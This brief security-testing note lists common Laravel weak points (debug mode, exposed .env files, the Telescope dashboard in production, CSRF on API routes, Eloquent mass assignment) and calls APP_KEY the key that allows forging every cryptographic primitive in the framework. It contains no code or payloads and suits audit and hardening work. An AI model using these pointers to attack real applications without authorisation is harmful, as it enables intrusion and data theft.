Laravel testing = debug mode + .env exposure + Telescope dashboard + CSRF on API routes + mass assignment via Eloquent. APP_KEY is the crown jewel — it enables forgery of every cryptographic primitive in Laravel. Telescope in production is a free application audit log.
|